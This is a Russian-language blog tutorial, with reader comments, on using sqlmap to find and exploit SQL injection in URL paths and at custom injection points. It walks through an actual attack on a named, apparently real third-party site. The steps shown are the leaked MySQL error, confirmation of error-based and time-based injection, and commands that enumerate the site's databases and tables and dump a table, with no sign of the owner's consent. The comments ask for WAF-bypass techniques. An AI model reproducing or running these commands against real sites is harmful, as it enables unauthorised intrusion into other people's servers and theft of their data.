Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции


Точка инъекции в URI

Имеются особые случаи, когда точка инъекции находится внутри самого URI. К примеру, если мы перейдём на страницу http://youfio.ru/name/АГАФЬЯ.html, то увидим веб-сайт:

А если в URI мы добавим кавычку, чтобы получилось так http://youfio.ru/name/АГАФЬЯ'.html, то мы увидим знакомое:

Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4

sqlmap не выполняет каких либо автоматических тестов в отношении URI путей, если на них не указано вручную. Для этого вам нужно указать точку инъекции в командной строке, добавив звёздочку (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) после точки URI, которую вы хотите, чтобы sqlmap протестировала и эксплуатировала SQL-инъекцию.

Это особенно полезно, например, когда используется модуль mod_rewrite веб-сервера Apache или другие подобные технологии.

Пример правильной команды:

sqlmap -u "http://targeturl/param1/value1*/param2/value2/"

Вернёмся к нашей Агафье. Чтобы проверить тот сайт команда должна выглядеть следующим образом:

sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html"

Программа говорит:

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]

Т.е. в опции '-u' был найден пользовательский маркер инъекции ('*'). Хотим ли мы продолжить – соглашаемся, поскольку никакой ошибки нет.

Опять программа спрашивает:

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C

Как вы хотите продолжить, на выбор опции (C) – проолжить, (s) – строка, (r) – регулярное выражение, (q) – выйти. Выбираем C, т.е. продолжить.

Программа говорит:

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Похоже, что в качестве СУБД установлена MySQL. Хотим ли мы пропустить тесты, предназначенные для других СУБД – соглашаемся.

Опять вопрос:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n

Для продолжения тестов, вы хотите включить все тесты для расширения 'MySQL', обеспечивающего уровень (1) и риск (1)? Это на ваш выбор – я отказываюсь.

Действительно имеется уязвимость SQL-инъекция, об этом говорят строки:

[17:21:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[17:21:15] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks

Перевод:


  • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим (возможная СУБД: 'MySQL')
  • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим к атакам межсайтового скриптинга (XSS)

Кстати, если вы не знали, теперь sqlmap проверяет и на XSS.


Подробности об уязвимости:

[17:22:05] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable

Версия 'MySQL >= 5.0 и имеется error-based (основанная на ошибке) SQL-инъекция (самая удобная для нападающего, т.к. с её помощью можно быстро получить содержимое баз данных).

И ещё:

[17:23:57] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable

Уточнена версия MySQL >= 5.0.12, а также имеется time-based blind (слепая, основанная на времени) SQL-инъекция

Далее, как и при обычных SQL-инъекциях, когда уязвимым является GET или POST параметр, мы получаем список баз данных:

sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" --dbs

На сервере имеются следующие базы данных:

available databases [2]:
[*] information_schema
[*] snicke_youfioru

Получаем таблицы в базе данных 'snicke_youfioru':

sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables

Полученный список таблиц:

Получаем содержимое таблицы 'message':

sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' -T 'message' --dump

Произвольная точка инъекции

По аналогии с URI точкой инъекции, звёздочка (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) может также использоваться для указания произвольного места внутри GET, POST или HTTP заголовков. Точку инъекции можно указать, отметив её внутри значения(ий) параметра GET, указанного с опцией -u, значения(ий) параметра POST переданного опцией —data, значения(ий) HTTP заголовков, предоставленного опциями -H, —headers, —user-agent, —referer и/или —cookie, или в общем месте внутри HTTP-запроса, загруженного из файла с параметром -r.

Примером правильной команды может быть:

sqlmap -u "http://targeturl" --cookie="param1=value1*;param2=value2"

Звёздочку можно использовать более одного раза, т.е. точек инъекций может быть несколько, например:


sqlmap -u "http://www.example.com/*-*"

Рекомендуется Вам:

2 комментария to Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции

  1. Waf:

    Доброго времени. Возможно ли написать статью, по обходу WAF с помощью тамперов в sqlmap? Сейчас на большинстве сайтов стоит Sucuri. Хотелось бы в примере увидеть его.

    • Alexey:

      Приветствую! Тема, безусловно, интересная. Я как-то отошёл от тестирования сайтов, поэтому если вы сталкиваетесь с WAF и приведёте примеры сайтов (пусть даже без уязвимостей), то это будет способствовать написанию статьи.

      Комментарий со списком сайтов я публиковать не буду, но сохраню для себя.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *